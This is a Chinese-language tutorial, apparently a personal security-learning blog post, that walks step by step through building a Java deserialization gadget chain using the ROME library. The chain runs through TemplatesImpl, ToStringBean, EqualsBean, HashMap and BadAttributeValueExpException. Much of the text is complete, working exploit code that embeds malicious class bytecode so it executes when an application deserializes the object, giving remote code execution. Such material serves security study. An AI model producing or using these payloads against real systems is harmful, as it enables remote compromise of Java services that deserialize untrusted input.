首先我们肯定就是导入ROME这个包了(代码一),这里我去mvnrepository专门看了
一下里面并没有1.0这个版本,蛮奇怪的,这个好几种组合链,我这里只讲我觉得还不错的几种gadget(代码二),
实话实说对于初学者来说不难也不简单我尽量讲细点。
根据我上面得知链尾部是TemplatesImpl.getTransletInstance先看看被(图一),到这就看出来了,
我们可以获取任意方法的实例,那么就网上走在相同类newTransformer中找到了getTransletInstance(图二),
接着看又在想同类getOutputProperties中找到了newTransformer,好到这一步我们先手动执行一下证明我们猜想。
这里建议大家使用反射来写不要懒惰初学者不要嫌麻烦(代码一),CommAnddd就是我们创建的恶意类也是成功执行了(图一),
这里存在个问题,最现实的问题就是目标又不可能存在恶意类让你执行,这里尾部的时候_class空可以进入defineTransletClasses(),
我们进去看看(图二),看了之后我们就懂了。
上图意思就是说会把_bytecodes通过defineClass转换成可执行类,给到_class,这里也不需要设置_transletIndex,
再上图中可以看到415行获取我们的传入的父类,然后418比较内容也就是父类
ABSTRACT_TRANSLET(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet)
,无所谓恶意类继承就行了,最主要的就是_tfactory我上图中说到设置原有的就行 实际上在进行反序列化的时候根本不需要设置,
因为目前我们还在调试中所以要设置,为什么这么讲是因为_tfactory属性是transient,这个字段不参与序列化,所以根本没办法反序列化,
我看到好多文章最终链都写,其实是多余了,因为在当前类TemplatesImpl中readObject中已经给我们设置好了(图一),
所以只需要找到可以利用的readObject就会把所有的都执行。
接着网上走呗,但是到这里其实就找不到了,因为在网上会走到ToStringBean.toString我们看看做了什么(图一),
这里先来一步一步解释一下先BeanIntrospector.getPropertyDescriptors(this._beanClass);跟进去看看
(图二-图四)看图之后我们就明白了 这里可以获取任意的getter/setter,接着我们看图一,在66行获取了Getter,之后就是不能是继承Object的Getter,
然后也不能存在参数,在就
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
到这里其实就明白了,利用反射执行任意的getter,这里不得不说构造函数了,里面帮我们已经写好了(图五)
,那么还有一个问题就是TemplatesImpl类中我们要执行getOutputProperties他是循环中获取的第二个,
所以要先执行TemplatesImpl.getStylesheetDOM()类(图六),不巧的是_sdom是transient,哈哈哈问题不打接着往下看。
其实这里的getOutputProperties是重实现了Templates接口的方法,所以我们只需要指定的是Templates接口就行了舒坦(图一),
ok那就模拟执行一下(代码一),下面就在网上走EqualsBean.beanHashCode()中执行了toString,那么又在同类中找到了hashCode()执行了beanHashCode(),
到这里要是一路跟着学习过来的师傅,应该已经知道了,DNSLOG这个链不就是执行的hashCode()吗?没错的,那么这里有个问题就是图三中
if (!beanClass.isInstance(obj))就是检测这个对象是不是这个类的实例,那么就写链吧。
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\xinyi\\Desktop\\java测试\\ROME\\CommAnddd.class"));
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
TemplatesImpl o = (TemplatesImpl) aClass.newInstance();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(o, "666");
Field aClass1 = aClass.getDeclaredField("_bytecodes");
aClass1.setAccessible(true);
aClass1.set(o,new byte[][]{bytes});
Field transletIndex = aClass.getDeclaredField("_tfactory");
transletIndex.setAccessible(true);
transletIndex.set(o,new TransformerFactoryImpl());
Class<?> aClass2 = Class.forName("com.sun.syndication.feed.impl.ToStringBean");
Constructor<?> declaredConstructor = aClass2.getDeclaredConstructor(Class.class, Object.class);
declaredConstructor.setAccessible(true);
ToStringBean o1 = (ToStringBean) declaredConstructor.newInstance(Templates.class, o);
o1.toString();
HashMap.readObject()
HashMap.put()
HashMap.hash()
xxx.hashCode()
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\xinyi\\Desktop\\java测试\\ROME\\CommAnddd.class"));
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
TemplatesImpl o = (TemplatesImpl) aClass.newInstance();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(o, "666");
Field aClass1 = aClass.getDeclaredField("_bytecodes");
aClass1.setAccessible(true);
aClass1.set(o,new byte[][]{bytes});
Class<?> aClass2 = Class.forName("com.sun.syndication.feed.impl.ToStringBean");
Constructor<?> declaredConstructor = aClass2.getDeclaredConstructor(Class.class, Object.class);
declaredConstructor.setAccessible(true);
ToStringBean o1 = (ToStringBean) declaredConstructor.newInstance(Templates.class, o);
Class<?> aClass3 = Class.forName("com.sun.syndication.feed.impl.EqualsBean");
Constructor<?> declaredConstructor1 = aClass3.getDeclaredConstructor(Class.class, Object.class);
Object o2 = declaredConstructor1.newInstance(Object.class, o1);
HashMap<Object, Object> map = new HashMap<>();
map.put("aaa", "bbb");
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(map);
for (Object entry : table) {
if (entry != null) {
Field keyField = entry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(entry, o2);
break;
}
}
serialize(map);
unserialize("ser.bin");
public static void serialize(Object obj) throws Exception {
//序列化
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String name) throws Exception {
//反序列化
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(name));
Object o = ois.readObject();
return o;
}
Class<?> aClass1 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object o1 = aClass1.newInstance();
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\xinyi\\Desktop\\java测试\\ROME\\CommAnddd.class"));
Field bytecodes = aClass1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(o1, new byte[][]{bytes});
Field name = aClass1.getDeclaredField("_name");
name.setAccessible(true);
name.set(o1, "666");
Class<?> aClass = Class.forName("com.sun.syndication.feed.impl.ToStringBean");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Object.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Templates.class, o1);
Class<?> aClass2 = Class.forName("com.sun.syndication.feed.impl.EqualsBean");
Constructor<?> declaredConstructor1 = aClass2.getDeclaredConstructor(Class.class, Object.class);
declaredConstructor1.setAccessible(true);
EqualsBean o11 = (EqualsBean) declaredConstructor1.newInstance(Serializable.class, o);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put(o11,"666");
BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttr, o11);
serialize(badAttr);
unserialize("ser.bin");
public static void serialize(Object obj) throws Exception {
//序列化
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String name) throws Exception {
//反序列化
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(name));
Object o = ois.readObject();
return o;
}
到这里就结束了,上面基本算是一步一步再讲,要是还是不会那就再看一遍呢。